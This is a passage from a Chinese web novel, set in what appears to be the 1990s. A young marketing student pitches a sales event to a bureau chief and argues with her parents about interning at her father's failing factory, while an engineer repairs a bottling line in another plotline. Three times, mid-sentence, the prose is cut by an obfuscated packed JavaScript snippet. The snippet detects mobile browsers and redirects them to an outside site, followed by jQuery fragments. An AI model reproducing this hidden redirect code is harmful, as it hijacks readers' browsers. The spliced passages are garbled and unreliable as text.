魏局长没再逗她,直接给她吃了一记定心丸,“你放心,今天你在这说的话,就当是给长辈支招来了,随意一点。”
这话她可不敢当真,不过确实没刚才那么拘谨了。
许晚柠想了片刻,说道,“领导们认为活动过于理想化,倒不如说是不相信计划能成功。其实,这就很矛盾了,因为这件事我们还没有做,怎么能轻易下结论?引用邓同志的一句话,实践是检验真理的唯一标准。”
“怕做、不敢做,都不是借口,而发现问题、解决问题,才是我们当下要做的事。”
“另外,领导们觉得风险高,这个风险具体指什么?是担心投入太多资金,结果活动冷场,厂里赔钱赚吆喝?还是担心在活动现场,有人闹事,上了新闻,成了笑话?亦或者,现场可能会发生一些意外,比如顾客高温中暑、丢东西,甚至出现踩踏事故,领导们怕担责?”
说到最后,魏局长眼神明显锐利几分,许晚柠坦然直视对方,“局长,我刚刚说的这些,其实都可以想办法避免。担心活动达不到预期?没关系,我们只要在活动前期做足宣传,活动现场有销售员引导顾客购买电扇,再加上抽奖活动主持人带动情绪,跟风买的人肯定不少。”
“其实,不光局里领导怕闹事,厂里也怕,所以我们会请电视台的人过来进行现场采访。以电视台在市民心中的公信力,我相信没人敢闹事。”
“当然,为了以防万一,我们会请附近派出所的同志帮忙,有闹事的人,及时进行调解,争取让顾客满意。”
“此外,马上就到初伏,这几天肉眼可见热了不少,我们在活动现场会准备好足够的水和饮品。部分顾客可能年龄偏大或者体质较弱,容易发生意外,为了避免事故发生,我们会请医护人员全天待命,以防万一。”
许晚柠说得口干舌燥,最后还不忘来一句总结,“暂时想到这些,局长,我说完了。”
魏局长脸上看不出任何异样,他屈指敲了敲桌子,目光如炬,“你觉得谁来当这个活动负责人合适?”
许晚柠一听,眼睛倏地亮了,随即当仁不让,“我!”
许是担心不够沉稳,她沉声又补了一句。
“局长,此事非我莫属!”
22. 父女谈话
“你倒是挺自信!”
魏局长眼中闪过一丝欣赏。
他端起搪瓷缸浅啜一口,放下时才抬眼扫了她一下,不紧不慢地开口,“你在厂里没有任何职务,怎么服众?”
许晚柠自信满满,“只要活动获批,您任命我为活动负责人,哪怕只是临时的,厂里的领导也不敢明着跟我对着干。”
魏局长点点她,“我还没任命呢,你倒是会顺杆爬。”
许晚柠讨好一笑。
随后他又问,“我要是不许你借着我的名头扯大旗,你打算怎么管住底下做事的人?”
许晚柠想了想,认真回答,“局长,我做这个活动是为了厂里,拿到货款第一时间就会给大家发工资,谁会跟钱过不去呢?”
“再者说,虽然我很不想借我爸的名头,但我站在这个位置上,本身也代表了我爸,有我爸在,就算有人想磨洋工也得掂量掂量吧?”
“而且我爸特别疼我,他不会眼睁睁看着别人背地里使绊子,欺负我的。”
魏局长哼笑一声,“伶牙俐齿,这才是你本性吧?”
许晚柠立马正襟危坐,眨眨眼,“局长,现在这个乖巧懂事的才是我,刚才明明是您的晚辈在给您出谋划策呀。”
魏局长被她一句话逗得嘴都合不拢,“我算是知道老许刚才走的时候,为什么这么不放心了。”
他感慨一句,想了想,“活动交给你也不是不行,只不过不能完全按你的设想来。”
许晚柠微微倾身,作洗耳恭听状。
魏局长正色道,“你想市区和周边强县一起做活动,一次搞十几个试点,摊子铺的太大。人的精力有限,总有顾及不到的时候。”
“这样,你先在市区搞一两个试点看看,如果活动成功了,再辐射到周边县。”
许晚柠一听,立马附和,“局长,还是您考虑的周到,只有我一个总负责人,确实分身乏术,难以顾及十几个点,要是因为一时不察出了事,我担不起这个责。”
“要是按照您的意见,先做两个试点,比如一南一北,这样活动搞起来既能方便市民就近参加活动,也能覆盖本市,活动效果肯定也不会太差。”
她竖起大拇指,忍不住夸赞,“您这一招高啊!”
这马屁拍的,魏局长险些没绷住,“你好好说话。”
许晚柠立马收住,一本正经的继续说,“活动当天,我会邀请周边县城的经销商过来,他们看到活动现场这么火爆,我不信他们不动心,这样也能省了我们一家一家上门去请,毕竟啥也比不上亲眼所见效果好。”
说到这,她语气真挚,开口邀请,“局长,活动如果定下时间,您要是有空,可一定要来现场看看,感受一下咱们市民们的热情。”
迎着许晚柠诚恳的目光,魏局长拒绝的话实在说不出来,矜持的说了一句,“嗯,到时候再看。”
办公室门口。
许国盛坐立不安,门虽然半开着,里面的人说话,他是一句也听不清。
说啥呢,怎么这么久了,还没说完?
他心中暗暗祈祷,柠柠可别瞎说啊,魏局长可是他的顶头上司,如果得罪了,他这个代厂长可就做到头了。
胡思乱想间,办公室门开了。
魏局长和许晚柠一前一后走出来,边走边说,“嗯,就按照我们刚才说的来,辛苦小许同志改一下。”
许晚柠谦虚,“只要能帮到厂里,这点辛苦不算什么。”
本来她想拍局长几句马屁,转念一想,这位魏局长能顶着局里这么大压力,力挺他们厂搞活动,一看就是位务实派领导,应该不喜欢年轻人油嘴滑舌,话到嘴边又咽了回去。
魏局长面露赞许,“嗯,觉悟不错,不愧是预备党员。”
许晚柠露出淡淡的笑容,随即提道,“局长,要不我就在局里改吧?这样写出来能第一时间交给您,如果有哪里写得不到位,我还能及时修改。”
魏局长点头应允,“小罗,给小许同志安排一间空办公室。”
说完又补了一句,“小许是女同志,你照顾着点。”
罗秘书立马应声,“好的,局长,”
随即他看向许晚柠,“许同志,请跟我来。”
“好的,麻烦罗秘书了。”
在旁边充当了半天背景板的许国盛,刚想跟着一起去,顺便问问闺女跟局长说了点啥。
他刚走了两步,便被局长叫住。
“老许,你跑什么,跟我进来。”
许国盛连忙转身,“好的,局长。”
空办公室好找,罗秘书直接在离局长办公室最近的地方找了一间。
“条件简陋,还请许同志多担待。”
许晚柠打量一眼,“已经很好了,谢谢罗秘书。”
罗秘书公事公办,“有什么其他需要,可以直接跟我提。”
许晚柠摇头,“纸笔我都带了,我现在就写。”
罗秘书颔首,“有事你再叫我。”
“好。”
许晚柠坐下,拿出纸笔,先打草稿,整理思路,确认无误之后开始奋笔疾书,连罗秘书给她搬了一台电扇进来都没注意。
一个小时后,她终于写完,仔细检查一遍有没有错别字,确认不需要再誊抄,她收起纸笔,拿着刚写好的修改版营销计划书准备出去交差。
走之前,她注意到不远处正在工作的电扇,心中对罗秘书的细心照顾多了几分感激。
她随手关上电扇,走出办公室。
许国盛正坐在局长办公室门口等她,见女儿过来,赶紧站了起来,可算写完了。
许晚柠先朝父亲点点头,随后跟罗秘书说,“罗秘书,局长在里面吗?我交下计划书。”
罗秘书笑着说,“局长之前交代过,你写完可以直接进去。”
“好,谢谢罗秘书。”许晚柠郑重道谢。
她站在门口,轻轻敲了敲门,听到那声请进,这才进去。
此时,魏局长正在看文件,过了一会儿才抬起头来,看向站在桌子对面的许晚柠。
“改好了?”
“是。”许晚柠双手递过去。
魏局长简单翻看一下,“先放这,这两天局里会给出最终意见,回去等消息吧。”
“好的,局长。”
许晚柠点头,“那我不打扰您工作了,您忙。”
她刚要转身离开,忽然被人叫住。
魏局长轻啜了一口茶水,语气平静地像是随口一提,“听说你马上大四,实习单位找好了吗?”
-
回去路上,许国盛骑自行车载着女儿。
“你跟局长都说了些什么,怎么聊了那么久。”
许晚柠随口道,“讨论了一下活动细节。”
一个活动细节讨论半个多小时?
许国盛心里打鼓,“你没说什么不该说的吧?”
许晚柠无奈,“没有,爸,您这句话起码问了三遍了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470288|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“有吗?”他怎么没觉得。
许国盛想到什么,批评道,“我还没说你呢,你怎么那么大胆,居然敢跟局长提要求,在局里修改计划书。”
许晚柠说得那叫个理直气壮,“我计划书本来写得挺好的,是局里觉得风险高,想让我改进,我按他们要求改,还不能借个地方啊?”
“我看你是懒得来回跑。”
许晚柠轻哼一声,算是默认了。
过了一会儿,他又问,“你刚才进去送计划书,怎么那么久才出来,局长说什么了?”
“没什么,就说这两天局里会给最终意见。”说完之后,她想起什么,又补了一句。
“对了,我走的时候,局长问我找好实习单位没有。”
最后一句话搞得许国盛心神大乱,自行车骑得歪七扭八,许晚柠差点摔下来。
“爸?”许晚柠紧紧把着自行车后座扶手,犹豫是不是先跳下去,她怕摔啊。
许国盛艰难地掌控好车把,重新骑成一条直线。
“没事,刚才有个坑,爸没看见,差点掉进去。”他眼都不眨的撒了个小谎。
“哦。”许晚柠心中表示怀疑。
许国盛若无其事地问道,“局长问你找没找好实习单位,你怎么回的?”
“我说我听系里安排啊。”
刺耳的刹车声响起,许国盛回过头,瞪大眼睛看向女儿,“你居然拒绝了?”
许晚柠讨好一笑,“也不算吧,我留余地了。”
许国盛简直不知道说什么好,像魏局长那样的人精,怎么会听不出女儿在委婉拒绝?
许晚柠见父亲一脸怀疑人生的模样,连忙说,“好了爸,您当轻工局那么好进的,像我这样的,进去顶多当个办事员,毕业能不能留在局里还另说。再说,局里哪有在自己厂里自在啊?”
“你想在华荣厂实习?”
许晚柠点头,“对啊,以目前厂里的情况,清完库存只能解一时之困,想要盘活整个厂,任重而道远啊。”
“啊,爸,你又打我头。”
许国盛这次没哄她,“你知道厂里现在什么情况,你还想一头扎进来?你前途不要了?”
现在跟以前不一样了,毕业不包分配,实行双向选择,在他看来,如果不能留在省城,市轻工局也是个不错的选择。
而如今华荣厂泥足深陷,能不能救回来还未可知,他怎么能让女儿在这实习。
“我不同意!”
说完,许国盛推着自行车往前走。
许晚柠愣了片刻,连忙追上,“爸,您听我说。”
“我不听,你别跟我说那些歪理。”
“怎么能是歪理呢?”许晚柠认真辩解,“爸,我是学市场营销的,目前厂里需要像我一样的人才。而且,华荣厂对于我来说是一个很好的实习单位。我有很多想法都可以亲自实践,这不比坐在办公室,天天写材料强?”
许国盛突然停住,转头看向女儿,“如果华荣厂倒了呢,你毕业之后没有单位接收怎么办?”
许晚柠刚想说,那她正好创业啊,可迎着父亲的目光,她说不出口。
父亲在国企干了一辈子,在他眼中,什么创业?不就是干个体,能有什么前途。
真是一代有一代人的鄙视链。
许晚柠正在低头思索,该怎么说服父亲,忽然被人温柔的摸了摸头顶。
“先回家吧。”
“好。”
23. 我拦得住吗?
“一会儿我送你到家属院门口,你先回家,我去趟厂里。”
许国盛一边骑自行车,一边沉声交代。
“好。”
许晚柠刚应下,突然想起什么,“不行爸,我得跟你一起回趟厂里,差点忘了,我还有通电话没打。”
“你给谁打电话?”
“钱四海啊,我不是告诉您我昨天去徐县了,我得给他回个电话。”
说完,她想起什么,“爸,这算是公事吧,您可不许收我电话费。”
许国盛没理她,闷头骑得更快了。
许晚柠心里咯噔一下,完了,许厂长不会真生气了吧。
这可怎么办啊?
一直到厂里,她都没想好怎么哄。
许晚柠一路跟着父亲来到办公室,路上没碰上几个人,她看了眼手表,都快六点半了,厂里大部分人下班了,怪不得这般清静。
许国盛带着女儿来到办公室,抬手一指,“去打吧。”
他端着搪瓷缸去倒热水,一路骑回来,嗓子都快冒烟了。
许晚柠拿出笔记本,照着电话号码熟练拨号。
电话响了两声,那边有人接听。
“您好,是钱叔吗?我是许晚柠。不好意思,钱叔,我这边临时有点事,这会儿才给您打电话,没耽误您工作吧?”
“我想问问您考虑得怎么样了?嗯,好,没关系,哎呀,真没事,好好好,钱叔再见。”
许晚柠挂断电话,抬头看见父亲一边喝水一边在偷看她打电话,心里有些好笑。
见女儿看过来,许国盛连忙收回视线,轻咳一声,问道,“怎么,钱四海没同意。”
许晚柠点头,并不气馁,“意料之中。”
见父亲面露疑惑,她解释,“我昨天没有拿出全部的诚意,他心有顾虑很正常,我总不能因为被拒绝而心生怨怼吧?想要成为一名合格的销售,被拒绝才是常态。”
许国盛神情复杂,心里把这句“被拒绝才是常态”反复琢磨了好几遍。心中感慨万分,他活了五十多岁,还不如一个二十岁的孩子通透。
他原以为女儿一路顺风顺水长这么大,经历一点挫折,都可能会让她一蹶不振,却没想到,女儿比他想象的要坚强得多。
女儿想到华荣厂实习,他第一反应是不行,这跟她暑假帮帮忙不一样,如今不包分配,实习单位大概率是她以后的工作单位,眼下华荣厂这个情况,随时都有可能倒闭,他总不能眼睁睁的看她跳进这个火坑。
可女儿一直积极地帮他想办法救厂,哪怕被人拒绝也能泰然处之。
这一瞬间他犹豫了,难道这次是他错了?
这个问题,一直到他和女儿一起回到家,他都没想明白。
-
“哎?你们父女俩今天怎么一起回来了?”
听到动静,赵秋红拿着锅铲从厨房探出头,面露诧异之色。
许国盛心里有事,没听清,还是许晚柠回了句,“我去厂里找我爸玩了。”
不想被对方追着问,她索性转移话题,“哎,妈,你做的什么,怎么这么香?”
赵秋红听到这声妈,眼睛不争气的刷地红了,她扭头就走,瓮声瓮气的回,“你鼻子咋这么灵。”
许晚柠嘿嘿一笑,没追着去厨房,回屋换衣服。
半个多小时后,晚饭好了。
赵秋红觉得父女俩今天有些奇怪,许国盛闷头吃饭,一声不吭,像是有心事,女儿看上去倒是乐呵呵的,还夸她红烧肉做得好吃。
一天时间,两人的状态像是颠倒了,也是奇了。
她忍到饭后,女儿主动去刷锅洗碗,她拉着丈夫去了卧室,“老许,你今天咋了,是厂里出什么事了?”
丈夫在家里一向不提厂里的事,但家属院没有秘密,哪怕她不是华荣厂的,但谁让她周围大部分都是华荣厂的人呢,知道点消息太正常了。
“是不是因为发工资的事?”
许国盛拧眉,“不是,你别瞎猜。”
赵秋红生气了,“那到底什么事,你回来就一直拉着张脸,我问问还不行?”
许国盛抹了把脸,“这就要问问你的好闺女了。”
赵秋红纳闷,“这跟柠柠有什么关系?”
许国盛本来不想说,可转念一想,柠柠又不是他一个人的女儿,以他对妻子的了解,没准知道之后反应会更激烈,家里大人都不同意,柠柠怎么也得再考虑考虑。
他倒不是非要拦着她不进厂,他只是怕她将来后悔。
他叹了口气,“今天柠柠跟我去了趟轻工局,魏局长想让柠柠去局里实习,柠柠给拒绝了,还跟我说想到厂里实习。”
“如今厂里什么情况,我能不清楚吗?连工资都发不出来了,她来厂里实习,前途不要了?真是气死我了。”
许国盛等了半天没等到妻子附和,好奇问她,“你不生气吗?”
赵秋红从沉思中回神,好笑道,“我为什么要生气?我只是在想,魏局长为什么会主动邀请柠柠去局里实习,这里面是不是发生了什么我不知道的事。许厂长,你不打算交代一下吗?”
迎着妻子似笑非笑的目光,许国盛想着这两天局里就会给出最终意见,大概率会通过,这样她早晚也会知道,也就不再瞒她,将这几天女儿做的事和盘托出。
赵秋红听完之后,第一反应,这是她女儿?在她眼皮子底下干了件大事,她居然毫不知情,不得不说这父女俩保密工作做的真好。
许国盛见妻子愣住了,忍不住开口问,“你说我是不是该拦着她?”
没想到赵秋红一反常态,“你为什么要拦着她,她不是做得挺好的?”
嗯?许国盛一脸不可置信地看向她,“你居然能同意?”
赵秋红摇头,“这不是我同不同意的问题,是柠柠,你的好女儿,一门心思的想要帮你,我拦得住吗?”
“还有你,你要是能拦住,也不会一直犹豫了。怎么,你搞不定你的宝贝女儿,还想联合我一起,劝她改变主意?”
许国盛怔住了,他其实知道柠柠是因为他所以才想去华荣厂实习。就是因为如此他才不敢同意,他怕因为自己,毁了女儿的未来。
她继续说,“她为什么花心思去做计划书,是因为看到你被工人们堵门,她又为什么想进华荣厂实习,也是因为想帮你。”
说到这,赵秋红莫名有点酸,“柠柠这么聪明,怎么会不知道华荣厂濒临破产,又怎么会考虑不到后果,只不过因为你是厂长,她才想方设法挽救,她不进厂,怎么帮你?难道次次都让魏局长临时给她安排职务?你想也不可能啊。”
“怎么,女儿孝顺懂事,你还不乐意啊?”
许国盛愁眉不展,“就是因为柠柠懂事,所以我才要拦着她。”
赵秋红看丈夫一脸纠结的面色,说了一句扎心之语,“但很显然,你拦不住。”
“你到底是来安慰我的,还是往我伤口上撒盐的?”许国盛瞪她。
赵秋红哼了一声,“本来是想安慰你的,现在又不想了。”
嗯?许国盛一脸疑惑。
赵秋红却不愿意解释,难道要她说,知道女儿这么奋不顾身的想帮丈夫,她既欣慰又吃味么?
而她居然分不清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473853|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,到底是欣慰多,还是吃味多一些。
算了,管他干什么,她反正是不掺和了。
想通之后,她转移话题,眉眼带笑“刚才柠柠夸我做的红烧肉好吃,一下子吃了小半盘,看来我手艺没退步。这几天女儿在外奔波都累瘦了,明天我打算给她做炖点排骨,好好给她补补。”
许国盛目瞪口呆地看着妻子笑着走出卧室。
完了,这次妻子都不跟他站一边了。
-
“梁工,前面就是灌装车间。”
裴云洲指着不远处红砖砌成的平房,边走边介绍。
梁工点点头,“小裴,你先说说生产线的具体情况。”
裴云洲正色道,“这条出故障的生产线是三年前从岛国引进的半自动灌装线,包含洗瓶、灌装、压盖、杀菌全套设备,核心电控与液压部件都是岛国原装。”
“之前厂里请过省城的机械专家过来,他们之前没接触过这类精密机型,怕拆坏了没敢动手。当然,厂里也联系过岛国原厂,对方工程师排期太久,要是等那边工程师过来,最少也得三个月。”
“前些天,我外公打听到几年前哈市啤酒厂进口过同型号的生产线,当时岛国工程师过来负责安装,您几乎跟了全程。后来这条生产线的维修和养护由您一手负责,所以特意托人请您过来,一会儿麻烦您多费心。”
梁工颔首,“我先看看再说。”
一路走过来,梁工见路过的职工面带笑容,积极地跟裴云洲和谭斌打招呼。
他有些好奇,“这些都是原来啤酒厂的职工?”
谭斌接过话,“对啊,我们买啤酒厂的时候,局里明确要求不允许我们随意开除职工,除了那些自谋出路的领导,大部分人都留了下来。”
梁工一听,更好奇了,“这啤酒厂不是你们刚买下来么,工人们没闹?”
如今大环境不好,哈市也有不少国营小厂倒闭的,听说好多工人带头去市政府静坐,乱成一团。
虽然他所在的啤酒厂目前经营良好,但是居安思危,他不得不多做考虑。所以这次接到邀请,除了还以前的人情,他也想看看外面的世界,到底怎么样了。
明明以前还好好的,怎么现在成了这样?
谭斌看了裴云洲一眼,得到允许的眼神,立刻显摆,“梁叔,这您就不知道了吧?我们接手啤酒厂第一时间,就下发了三条通知。”
“谭哥,啥通知啊,这么管用?”田亮一脸憨厚地问道。
谭斌目光得意,“第一,涨薪,一线生产工人、技术员,工资直接上调百分之二十。后勤、行政和办公室人员,涨薪百分之五。”
“原先的厂领导,有的已经自谋出路调去别的单位,留下的暂时保留原有职务,工资涨百分之十。”
“销售科提成直接翻三倍。以前卖一箱啤酒、一箱果汁,提成很少,往后卖得多拿得多,上不封顶。”
“第二,调岗,对于之前一直混日子、磨洋工的职工,先调去其他岗,进入考察期,考察期三个月,通过的留下,不通过直接辞退。”
“第三,我们承诺,一年之内实行职工福利分房。建房费用厂里承担一半,员工个人承担一半,房子建好后产权直接归员工个人所有。”
“现在大伙都铆足干劲挣钱,好分房呢,就算有人想闹事,不用我们费心,有的是员工帮我们按下去。”
梁工感叹,这要换作是他,也得拼命干啊。他算是明白,为什么私人企业能越做越红火了。
碰上这样的老板,想偷懒都不好意思。
长江后浪推前浪,现在的年轻人,了不得喽!
24. 哎,我爸呢?
“梁工,要开机吗?”
一位三十多岁,穿着工服的维修师傅朗声问道。
“不急,我先看看。”
梁工带着徒弟田亮围着生产线慢悠悠地走了一圈,其中几次停下,眯着眼睛看里面的精密构造,等看得差不多了,他朝维修师傅说,“开机,低速空转。”
机器缓缓启动,轰鸣声在车间里传开。
裴云洲和谭斌两人对视一眼,都听不出什么异样,专心当背景板。
而梁工已经带着徒弟贴近机身,侧耳倾听机器运转的响动。
良久,他直起身,示意维修师傅关掉机器,问一旁的小徒弟,“亮子,看出什么问题没有?”
田亮神情骤然一紧,指着灌装机组中段,“师父,好像是这出了问题,具体什么问题,得拆了才知道。”
“嗯,”梁工脸上看不出什么情绪,只问了一句,“还有吗?”
田亮苦着一张脸,“应该没了吧?”
梁工瞥了自家徒弟一眼,有外人在,他给徒弟留了几分面子,“你先拆吧,拆出来再看。”
“好的,师父。”
田亮拿着工具直接下手拆,过了一会儿,他抬头看向一旁站着的维修师傅,笑着露出几颗大白牙,“师傅,您能帮我个忙吗?”
维修师傅连忙帮着打起了下手,这可是难得的学习机会,看来今天他主动留下,留对了!
两个人一起拆,速度更快了。
梁工见状,眼里满是笑意。
一旁的裴云洲都忍不住夸赞,“梁工,您这徒弟不错。”
梁工感叹,“我这小徒弟哪哪都好,就是不够自信。”
裴云洲轻声宽慰,“再跟您几年,经历多了,自然就好了。”
梁工颔首,“借你吉言。”
谭斌凑过来问,“梁叔,您是不是知道哪出问题了?”
“嗯?”梁工目光诧异,这小子有点敏锐啊。
谭斌嘿嘿一笑,“我猜的,梁叔,到底是哪的问题啊?”
闻言,梁工也没卖关子,轻声说,“亮子说的没错,就是中段出了问题,里面的阀芯卡滞,再加上同步信号偏了,所以才会出现灌装量时多时少,漏液、停机等问题,等拆完我再看看具体情况。”
车间空间大,一台电扇压根不顶用。
谭斌忍不住抬手扇风,“梁叔,这得拆多久啊?”
梁工想了想,“按他们两个的速度,差不多两个小时吧。”
说完,他看了谭斌一眼,“你们要是有别的事,可以先去忙,我在这盯着就行。”
虽然自家厂里的生产线,他徒弟也动手拆过几次,但这不是过来帮忙来了,为了以防万一,他得在这全程盯着,遇到解决不了的问题,他能直接顶上。
谭斌连忙摆手,“我们没事,正好跟着学习学习。”
梁工意外地看了对方一眼,“现在的年轻人,愿意吃苦的不多了。”
车间里十分闷热,他待惯了,纵使不适应这边的气候,尚且还能忍受。
可这小子一看就是娇生惯养出来的,这么一会儿的功夫都热出汗了,还能坚持,倒是有几分韧性。
谭斌热得不行,索性搬了个落地扇过来,风扇呼呼地转动,这才好受了些。
裴云洲见梁工不时的挪动腿,出去搬了个凳子进来。
梁工推辞不过,只好坐下。
很快天黑了,车间里亮起橘红色的灯光。
好在田亮是熟练工,带着厂里的维修师傅用两个小时将机器全部拆完。
梁工走过去仔细看了眼,确认故障所在,又低声考了徒弟几个问题,这才跟裴云洲他们说,“车间太暗,不着急的话,明天一早我们过来修。”
“可以。”
裴云洲抬手看了眼时间,都八点半了,“梁工,我们先送您回招待所吧。”
随后他跟维修师傅交代一句,“这间车间先锁上,在机器修好之前,不许其他工人进入。还有地上摆的这些,让明天上班的其他师傅不要乱动。”
“知道了,裴总。”维修师傅应了一声,
走出车间,一阵微凉的夜风迎面而来。
等维修师傅锁好门,一行人趁着夜色,向外走去。
一天下来,几人多了几分熟络。
梁工想起之前裴云洲对维修师傅的嘱咐,含笑道,“小裴以前没少跟姚教授下车间吧。”
裴云洲眼中闪过一丝追忆,颔首,“寒暑假的时候,陪我外公去过几次。”
“怪不得。”
梁工感叹一声,能想到不乱动地上的东西,不让无关人员进维修车间,怎么会没实践经验呢。
裴云洲顺势一问,“对了梁工,生产线要是修好,大概需要多久?”
梁工想了想,“按现在的人手算,维修、装机加调试,怎么也得半个月吧?”
“这么久!”
一旁的谭斌脱口而出,随后连忙解释,“梁叔我不是那意思,我还以为几天就能修好呢。”
梁工并没有怪他,解释道,“你们厂这条生产线本来就是买的二手的,灌装阀内部的阀芯磨损严重,精度丢失所以才容易出故障。再加上同步编码器偏移,多年没有保养,气路堵塞,电磁阀老化等问题,要想精修好,最少也得半个月。”
在车间的时候,谭斌看梁工表情稳若泰山,还以为没啥大问题,原来问题这么严重啊。
裴云洲想了想,沉吟,“梁工,您的身体…”
梁工笑着拍了拍右腿,“一天工作八九个小时不碍事,再说力气活有我徒弟呢。”
田亮一听提到他,拍着胸脯说,“裴哥,你放心,有我呢。”
裴云洲想了想,直到走到招待所门口,他停住脚步,斟酌开口,“梁工,只您和您徒弟,再算上我们厂五个维修工,工作量也不轻,您看用不用我去其他厂,借几个维修师傅过来给您打下手。”
梁工语气谦和,“我倒是没啥问题,就是不知道人家愿不愿意听我的。我又不是姚教授,没那么大名气。我在这儿,不过是一个很普通的维修师傅。”
裴云洲松了口气,“您可别这么说,在我这,您说了算。这样,我跟其他厂联系一下,看他们能不能安排几个听话的过来学习交流。”
梁工一听,爽快应了,“行,能跟着学到几分,就看他们的本事了。”
回去路上,谭斌满脸疑惑,“云洲,刚才我就想问了,咱们厂现在可是私企,你去别的厂找领导借人,人家理你吗?”
闻言,裴云洲眼皮都没抬,“谁说我要去厂里找领导了,他们上级领导一句话,不就都解决了。”
上级领导?魏局长?
“哎,你走那么快干什么,等等我!”
-
晚上九点,许晚柠早早洗漱,上了床。
她看着天花板,心里复盘下午跟魏局长之间的谈话。
她喃喃自语,“市场,成本,经销商,分摊风险。”
她脑海中又想起她跟钱四海的那通电话。
“晚柠,叔不是不想帮你卖货,可营销这玩意儿我听都没听过,实在不敢弄啊。”
许晚柠突然从床上坐起来,开始反思,她是不是太乐观了,如果连张嘉林的亲舅舅都不敢做活动,其他经销商呢,就算看到现场火爆又如何,现货现结,他们敢跟吗?
况且,以厂里的财务情况,能省一点是一点,市里搞活动清库存,顺便宣传品牌,如果县里接着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17476855|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搞,能不能达到她想要的效果?
另外,她好像一直在用十几年后的营销思维做方案,却忽视了现在的市场行情。
也许她该换个思路。
她穿上拖鞋下床,来到书桌前,打开台灯,拿出纸笔,冷静的写下两个字,“造势。”
她可以先在门市部做活动造声势,请电视台的人来宣传,再跟在场的经销商谈合作。
现货现结有点为难人,那么赊销模式,跟经销商签订合同,他们可以先拿货,卖完之后付清上一笔货款,再拿下一批货,等库存全部清空,再要求经销商三天之内付清剩余货款。
既然想省钱,那县里就不搞活动,直接卖货,她瞬间想到一个好主意,在纸上郑重的写下四个字,“家电下乡”。
理清思路,确认没有遗漏,她开始奋笔疾书。
写完之后,她拿着手里的二次修改版计划书,准备去找父亲商谈,眼角余光注意到旁边的闹钟,十一点半,父亲早睡了吧。
也不差这一晚上,她收好计划书,定了一个早点的闹钟,上床休息。
第二天七点,许晚柠按掉闹钟走出卧室。
赵秋红正在厨房做饭,见女儿起床,问了一句,“柠柠,今天怎么起这么早?”
许晚柠还不知道她这几天干的“好事”早被父亲告诉母亲了,她伸了个懒腰,随口找了个借口,“闻到香味就醒了,妈,早上吃什么?”
赵秋红没怀疑,“小米粥,馒头,我再炒两鸡蛋,快好了,你洗手准备吃饭吧。”
许晚柠点头,“妈,我爸呢?”
赵秋红无奈,一大早就找她爸,闺女跟爸是真亲啊。
“他出去遛弯了,还没回来,你找他有事?”
“没,随便问问。”
结果,直到许晚柠吃过早饭,她也没看见父亲。
赵秋红见女儿坐不住,“这个点还没回来,没准直接去厂里上班了,你要不去厂里找他?”
许晚柠看了眼时间,七点四十,厂里是八点上班,局里估计也差不多吧,如果魏局长今天上午开会,等她去厂里找了她爸再赶去局里,会不会太晚了。
不行,不找了,就交个方案,她自己去吧。
“妈,爸今天没骑车出去吧,我用下自行车。”
赵秋红从抽屉里翻出车钥匙递给她,“你用完,赶紧给他送厂里去,万一他有事呢。”
“知道了,谢谢妈。”
许晚柠接过钥匙,去卧室背上挎包,快步下楼。
她刚走没多久,许国盛哼着歌回来了。
赵秋红刚收拾好厨房出来,一见是他,满脸诧异,“哎,老许,你没去厂里啊?”
许国盛笑着说,“没,我出去遛弯,碰上老刘了,他非拽着我去他家吃饭,这不才吃完,我就赶紧回来了。”
说完,他从抽屉里找车钥匙,准备去上班。
“哎,秋红,你看见我车钥匙了吗?”他找半天没找着。
赵秋红换好衣服出来,“哎呀,我刚忘了跟你说了,早上柠柠找你,你一直没回来。她估计有什么急事,本来我想让她去厂里找你,她都没去,只说要用下你自行车,晚点给你送厂里去。”
“你没问她找我啥事?一大早,她骑自行车去干啥?”
“我看她挺急的,就没问。”
许国盛心想,坏了,别是计划书有什么问题吧?可昨天不是按局里要求改了吗?
他站在原地,想了半天也没想出个所以然。
赵秋红见状,提醒他,“你要不先去厂里吧,柠柠一会儿给你送自行车,你再问她不就行了。”
许国盛叹气,也只能这样了。
这臭丫头,一大早跑哪去了?